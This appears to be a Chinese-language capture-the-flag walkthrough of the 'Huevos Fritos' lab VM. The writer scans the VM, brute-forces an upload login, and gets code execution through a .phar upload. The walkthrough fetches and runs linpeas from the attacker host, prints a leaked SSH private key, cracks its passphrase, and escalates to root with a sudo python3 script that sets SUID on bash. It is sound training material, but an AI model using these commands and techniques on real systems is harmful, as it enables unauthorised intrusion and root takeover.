Huevos Fritos

image-20260727190310736

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.43.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
......
192.168.43.6 08:00:27:f6:b0:37 PCS Systemtechnik GmbH
......

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.938 seconds (132.09 hosts/sec). 3 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.6 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned my computer so many times, it thinks we're dating.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.6:22
Open 192.168.43.6:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.6
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 18:14 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
Initiating ARP Ping Scan at 18:14
Scanning 192.168.43.6 [1 port]
Completed ARP Ping Scan at 18:14, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:14
Completed Parallel DNS resolution of 1 host. at 18:14, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:14
Scanning 192.168.43.6 [2 ports]
Discovered open port 80/tcp on 192.168.43.6
Discovered open port 22/tcp on 192.168.43.6
Completed SYN Stealth Scan at 18:14, 0.01s elapsed (2 total ports)
Initiating Service scan at 18:14
Scanning 2 services on 192.168.43.6
Completed Service scan at 18:14, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.6
NSE: Script scanning 192.168.43.6.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.31s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
Nmap scan report for 192.168.43.6
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-07-27 18:14:20 CST for 7s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 5f:73:cb:8a:81:c0:0a:11:18:01:39:e0:1e:bf:ed:60 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoN3ijKzJZlVDRiozexMEKpj/uHuv7T1EeCWmONFKnhp91ezxG0C+2rk3mmGoiVIJQC/Kh1YlwSYBZa9auJQCY=
| 256 5c:7d:ee:db:28:56:7c:ef:46:e1:a6:18:c6:03:01:b1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZEgMxE7+fTzkBdtWf2cccIZAhGMtgYYuQ9gGdYgtdK
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 08:00:27:F6:B0:37 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/27%OT=22%CT=%CU=36918%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A672F83%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 5.877 days (since Tue Jul 21 21:11:44 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 192.168.43.6

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:14
Completed NSE at 18:14, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)

  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.6/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md,sh -b 401,403,404,502
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.6/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 401,403,404,502
[+] User Agent: gobuster/3.8.2
[+] Extensions: md,jpg,sh,php,txt,html,back,cgi,json
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 10701]
squirting (Status: 301) [Size: 316] [--> http://192.168.43.6/squirting/]
Progress: 2205580 / 2205580 (100.00%)
===============================================================
Finished
===============================================================

squirting是一个文件上传功能的页面,但是需要用户名和密码

尝试爆破得出密码是admin用户名也是

image

上传php文件

image

提示我们文件类型不受支持,同时还发现了一个新路径,是上传的路径

image

image

这里php6可以上传但是解析不了,phar可以解析。

image

image

提权

www -> huevosfritos

上传linpeas搜集提权信息

1
2
3
4
5
6
7
www-data@huevosfritos:/tmp$ busybox wget http://192.168.43.5/lin2026.sh
Connecting to 192.168.43.5 (192.168.43.5:80)
saving to 'lin2026.sh'
lin2026.sh 100% |************************************************************************************************************| 1021k 0:00:00 ETA
'lin2026.sh' saved
www-data@huevosfritos:/tmp$ chmod +x lin2026.sh
www-data@huevosfritos:/tmp$ ./lin2026.sh

其中/var/backups/.cositas泄露了ssh凭证

image

image

复制ssh凭证到kali上,并尝试连接huevosfritos用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# vim id_rsa
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# chmod 600 id_rsa
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
6iQ+3DsGiYinW5XOh3+UbXt3Q=
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
6
7
8
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh huevosfritos@192.168.43.6 -i id_rsa
The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established.
ED25519 key fingerprint is: SHA256:4PP67IdqfoXBE/oWAjr7t43VLjDO5bF2feCaWgBbzuw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.6' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

存在passphrase包含还需要爆破密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh2john id_rsa > rsa_hash.txt
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
honda1 (id_rsa)
1g 0:00:00:12 DONE (2026-07-27 18:48) 0.07874g/s 287.2p/s 287.2c/s 287.2C/s girls..654123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

横向移动到huevosfritos用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh huevosfritos@192.168.43.6 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux huevosfritos 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 16 12:24:42 2024 from 192.168.18.19
huevosfritos@huevosfritos:~$ id
uid=1001(huevosfritos) gid=1001(huevosfritos) grupos=1001(huevosfritos)
huevosfritos@huevosfritos:~$

huevosfritos -> root

1
2
3
4
5
6
huevosfritos@huevosfritos:~$ sudo -l
Matching Defaults entries for huevosfritos on huevosfritos:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User huevosfritos may run the following commands on huevosfritos:
(root) NOPASSWD: /usr/bin/python3

sudoers权限滥用,利用python3提权到root
利用python写入恶意提权脚本

1
2
3
4
5
6
7
8
9
10
11
12
huevosfritos@huevosfritos:~$ cd /tmp/
huevosfritos@huevosfritos:/tmp$ vi pwn.py
huevosfritos@huevosfritos:/tmp$ cat pwn.py
import os
os.system("chmod +s /bin/bash")
huevosfritos@huevosfritos:/tmp$ sudo -u root /usr/bin/python3 /tmp/pwn.py
huevosfritos@huevosfritos:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 abr 23 2023 /bin/bash
huevosfritos@huevosfritos:/tmp$ /bin/bash -p
bash-5.2# id
uid=1001(huevosfritos) gid=1001(huevosfritos) euid=0(root) egid=0(root) grupos=0(root),1001(huevosfritos)
bash-5.2#